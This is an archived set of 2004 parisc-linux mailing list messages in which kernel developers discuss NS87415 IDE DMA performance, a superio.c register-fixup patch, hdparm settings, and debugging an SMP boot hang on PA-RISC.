X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21798

On Mon, Jul 12, 2004 at 04:37:52AM +0100, M. Grabert wrote:
> Tested above patch, but unfortunately it didn't work for me,

The rest of your post in fact suggests it did.
Ie you should no longer need to "sea" at the boot prompt.

> the NS87415 still doesn't use DMA (or so it seems, at least it's
> still the 3MB/s instead of the expected 30-40MB/s).
> 
> hdparm -c /dev/hda showed DMA was turned on, and I even set it on
> again (hdparm -c 1), just to be sure, but it didn't make any
> difference in performance :(

This patch makes no attempt at changing existing DMA behaviors.
It's likely the NS87415 code needs to twiddle the "Prefetch Mode"
bits for something other than ATAPI (no prefetch) to get
better performance.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 10:14:44 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20040712161444.GB12046@colo.lackof.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
	<20040712033752.GA10163@sal.ucc.ie>
	<20040712041935.GA10211@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623497 10154 80.91.229.3 (22 Nov 2014 02:31:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13043 invoked by uid 65534); 12 Jul 2004 16:15:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 12 Jul 2004 18:15:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BD24F3BE2B; Mon, 12 Jul 2004 10:15:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23287-04; Mon, 12 Jul 2004 10:15:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7CC873BE23; Mon, 12 Jul 2004 10:14:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B4233BE18
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 10:14:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23287-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 10:14:46 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 46F2E3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 10:14:46 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 78BE329810A; Mon, 12 Jul 2004 10:14:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12239-01; Mon, 12 Jul 2004 10:14:44 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AAB7E298109; Mon, 12 Jul 2004 10:14:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040712041935.GA10211@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21799

On Mon, Jul 12, 2004 at 05:19:35AM +0100, M. Grabert wrote:
> BTW, what are the supported DMA modes of the NS87415?

Hopefully the ns87415 data sheet will specify that.

> I suppose BM-DMA means BusMaster-DMA, but does the NS87415 support any
> Ultra-DMA modes, or only Multi-Word DMA?

DMA from the IDE controller are just regular PCI transactions.
There is no such thing as Ultra-DMA for PCI.
There is a Multi-Word DMA but I'm skeptical it's the same thing
exactly than what IDE spec means.

....
> According to the current setting (mdma2), I should get about 16 MB/s
> (the hard disk specified 'sustained data transfer rate' is >40 MB/s).
> However with a 2.4 kernel I only get 3.3 MB/s and with a 2.6 kernel
> I get just about 3.0 MB/s, which suggests it's running in 'pio0' mode.

If the IDE controller is NOT prefetching data into a local buffer,
I don't think it will be able to efficiently burst data across
the PCI bus.

> Also there is a significant CPU load whenever I do a read/write access to
> the IDE hard disk (compared to the CPU load when I access the SCSI disks),
> which might be another indication that it's still using PIO and not DMA.

Yes, that's probably a better indicator.

> Is 
>   'hdparm -c 1' (enable 32bit I/O)
> and
>   'hdparm -u 1' (unmasq_irq)
> useful/implemented on PA-RISC?

I don't think this is platform specific.
I expect both of those to be card/driver specific.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6 and SMP
Date: Mon, 12 Jul 2004 09:49:52 -0700
Lines: 77
Approved: news@gmane.org
Message-ID: <20040712164952.GA546@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623498 10159 80.91.229.3 (22 Nov 2014 02:31:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7995 invoked by uid 65534); 12 Jul 2004 16:50:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 12 Jul 2004 18:50:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 62A4B3BE32; Mon, 12 Jul 2004 10:50:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23589-07; Mon, 12 Jul 2004 10:50:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA2B53BE29; Mon, 12 Jul 2004 10:49:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74BBD3BE23
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 10:49:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23589-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 10:49:52 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 3CF013BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 10:49:52 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5BD91CD299; Mon, 12 Jul 2004 09:49:52 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21800

SMP is one of the big remaining pieces that needs to get fixed in 2.6.
Does anyone want to help look at it?

This is what I saw yesterday while trying latest 2.6 on a SMP a500
(2x450MHz).

While booting up, the system "hangs". TOC shows that it died in
parisc_terminate with not much useful information. When I instrumented
the startup sequence with printk, it seemed to stop in init_idle when
setting the schedule flag on the idle task. It didn't make much sense to
me that set_bit() would die though....

after some more digging around, it looks like it's actually dying in:
kernel_thread()->do_fork()->copy_process()->dup_task_struct()->alloc_
task_struct()->kmem_cache_alloc() 

when starting the init thread.

kmem_cache_alloc() has this bit of code:

        local_irq_save(save_flags);
        ac = ac_data(cachep);
        if (likely(ac->avail)) {

and ac was NULL. ac_data(cachep) is cachep->array[smp_processor_id()]

it looks like smp_processor_id() was returning the wrong value (8 in my
test), so it was picking up an uninitialized per-cpu cache.

i forced smp_processor_id() = 0 in that function, and it gets a bit
further till schedule(), and then it dies in there. I'm not quite sure
where/why it dies. then i fell asleep :)

here's one "trick" i used yesterday to debug the
parisc_terminate()-not-giving-much-info problem.... basically in some
cases printk() stops working (perhaps interrupts are disabled?), so the
only thing we can do is rely on TOC and "ser pim". I replaced
parisc_terminate() with this:

void parisc_terminate(char *msg, struct pt_regs *regs, int code,
          unsigned long offset)
{
    volatile register unsigned long x = regs->iaoq[0];
    volatile register unsigned long y = *(unsigned long *)(regs->gr[30]-16);
    for (;;) ;
}

if you do a disassembly on traps.o, you'll see that now you should get
r19 = regs->iaoq[0] 
r20 = a stack location which, in this case, corresponds to the return
      pointer of kmem_cache_alloc()

now when you do a TOC dump you can see where the fault actually occured.

you should be able to do this with a few registers at a time (i only
tried 2-3 at a time). Look at the disassembly dump to figure out what
goes where... it's a bit of a pain, but might be useful still.... 

anyway, it looks like possibly some things are not setup properly in the
init_thread_union structure? I don't know why smp_processor_id() (which
is current_thread_info()->cpu) would return the wrong value. Earlier in
the boot the value seems to be correct....

i won't have time to look at this more for a couple of weeks....
hopefully someone else will figure it out in the meantime? :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 04:37:52 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <20040712033752.GA10163@sal.ucc.ie>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623498 10161 80.91.229.3 (22 Nov 2014 02:31:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31183 invoked by uid 65534); 12 Jul 2004 09:25:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 12 Jul 2004 11:25:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1CF5C3BE2D; Mon, 12 Jul 2004 03:25:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19740-01; Mon, 12 Jul 2004 03:25:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C897F3BE24; Mon, 12 Jul 2004 03:24:48 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28BFD3BE18
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 03:24:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19474-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 03:24:45 -0600 (MDT)
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by free.linux.hp.com (Postfix) with ESMTP id 9B1F03BE17
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 03:24:44 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i6C9OhEI009101;
	Mon, 12 Jul 2004 10:24:43 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1BjrdY-0002eH-6z; Mon, 12 Jul 2004 04:37:52 +0100
Mail-Followup-To: Randolph Chung <randolph@tausq.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040711233439.GX546@tausq.org>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21801

On Sun, Jul 11, 2004 at 04:34:39PM -0700, Randolph Chung wrote:

> > don't have an IDE drive to try it with, but if it works, shouldn't it be
> > done as a pcibios fixup instead? We already have a fixup routine in
> > drivers/parisc/superio.c:superio_fixup_pci(), so you can probably just
> > add it there.
> 
> i.e. (the progif write was removed since it's redundant):
> 
> Index: drivers/parisc/superio.c
> ===================================================================
> RCS file: /var/cvs/linux-2.6/drivers/parisc/superio.c,v
> retrieving revision 1.9
> diff -u -p -r1.9 superio.c
> --- drivers/parisc/superio.c	18 May 2004 13:08:56 -0000	1.9
> +++ drivers/parisc/superio.c	11 Jul 2004 23:33:06 -0000
> @@ -482,6 +482,16 @@ void superio_fixup_pci(struct pci_dev *p
>  	pci_write_config_byte(pdev, PCI_CLASS_PROG, pdev->class);
>  
>  	pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);
> +
> +	/* IODC clobbers the CTRL registers with:
> +	 * CTRL1 = 0xf0 = "ATAPI buffer mode (no prefetching)" for everyone
> +	 * CTRL2 = 0x03 = mask chan1/2 interrupts
> +	 * CTRL3 = 0x00 = "disable prefetch buffer"/"Master Wait States"
> +	 */
> +	pci_write_config_byte(pdev, 0x40, 0xf0); /* IDE_CTRL1 */
> +	pci_write_config_byte(pdev, 0x41, 0x00); /* IDE_CTRL2 */
> +	pci_write_config_byte(pdev, 0x42, 0x00); /* IDE_CTRL3 */
> +
>  	printk("PCI: Enabled native mode for NS87415 (pif=0x%x)\n", prog);
>  }
>  
> 
> works fine on my c3750 with a cdrom drive too! Great job Grant :)

Tested above patch, but unfortunately it didn't work for me,
the NS87415 still doesn't use DMA (or so it seems, at least it's
still the 3MB/s instead of the expected 30-40MB/s).

hdparm -c /dev/hda showed DMA was turned on, and I even set it on
again (hdparm -c 1), just to be sure, but it didn't make any
difference in performance :(

Thanks,
   Max


PS: shall I try Grant's patch aswell?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 05:19:35 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <20040712041935.GA10211@sal.ucc.ie>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
	<20040712033752.GA10163@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623498 10164 80.91.229.3 (22 Nov 2014 02:31:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:38 +0000 (UTC)
To: Randolph Chung <randolph@tausq.org>,
 Grant Grundler <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20798 invoked by uid 65534); 12 Jul 2004 09:25:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 12 Jul 2004 11:25:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 27EE63BE31; Mon, 12 Jul 2004 03:25:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19681-10; Mon, 12 Jul 2004 03:25:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 39B4C3BE2B; Mon, 12 Jul 2004 03:25:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CD5D3BE29
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 03:24:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19532-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 03:24:56 -0600 (MDT)
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by free.linux.hp.com (Postfix) with ESMTP id EC8853BE17
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 03:24:47 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i6C9OhEH009101;
	Mon, 12 Jul 2004 10:24:43 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1BjsHv-0002fb-61; Mon, 12 Jul 2004 05:19:35 +0100
Mail-Followup-To: Randolph Chung <randolph@tausq.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040712033752.GA10163@sal.ucc.ie>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21802

Sorry, there was a typo:

On Mon, Jul 12, 2004 at 04:37:52AM +0100, xam wrote:
>
> hdparm -c /dev/hda showed DMA was turned on, and I even set it on
> again (hdparm -c 1), just to be sure, but it didn't make any
> difference in performance :(

I meant 'hdparm -d' of course ...

BTW, what are the supported DMA modes of the NS87415?
The kernel just reports this:

  DMA zone: 262144 pages, LIFO batch:16
    ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
  hda: 234441648 sectors (120034 MB) w/2048KiB Cache, CHS=16383/255/63, (U)DMA
          
I suppose BM-DMA means BusMaster-DMA, but does the NS87415 support any
Ultra-DMA modes, or only Multi-Word DMA?
A 'hdparm -i /dev/hda' says this about the hdd settings/capabilities:

  PIO modes:  pio0 pio1 pio2 pio3 pio4
  DMA modes:  mdma0 mdma1 *mdma2
  UDMA modes: udma0 udma1 udma2 udma3 udma4 udma5

Here's the performance table for pio/mdma/udma:

   pio0    3.33 MB/s
   pio1    5.22 MB/s
   pio2    8.33 MB/s
   pio3   11.11 MB/s
   pio4   16.67 MB/s
  mdma0    4.16 MB/s
  mdma1   13.33 MB/s
  mdma2   16.67 MB/s
  mdma3   33.33 MB/s
  udma0   16.67 MB/s
  udma1   25.00 MB/s
  udma2   33.33 MB/s
  udma3   44.44 MB/s
  udma4   66.67 MB/s
  udma5  100.00 MB/s
  udma6  133.33 MB/s

According to the current setting (mdma2), I should get about 16 MB/s
(the hard disk specified 'sustained data transfer rate' is >40 MB/s).
However with a 2.4 kernel I only get 3.3 MB/s and with a 2.6 kernel
I get just about 3.0 MB/s, which suggests it's running in 'pio0' mode.

Also there is a significant CPU load whenever I do a read/write access to
the IDE hard disk (compared to the CPU load when I access the SCSI disks),
which might be another indication that it's still using PIO and not DMA.


Final question:

Is 
  'hdparm -c 1' (enable 32bit I/O)
and
  'hdparm -u 1' (unmasq_irq)
useful/implemented on PA-RISC?


Greetings,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 19:39:44 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20040712183943.GA11805@sal.ucc.ie>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
	<20040712033752.GA10163@sal.ucc.ie>
	<20040712160534.GA12046@colo.lackof.org>
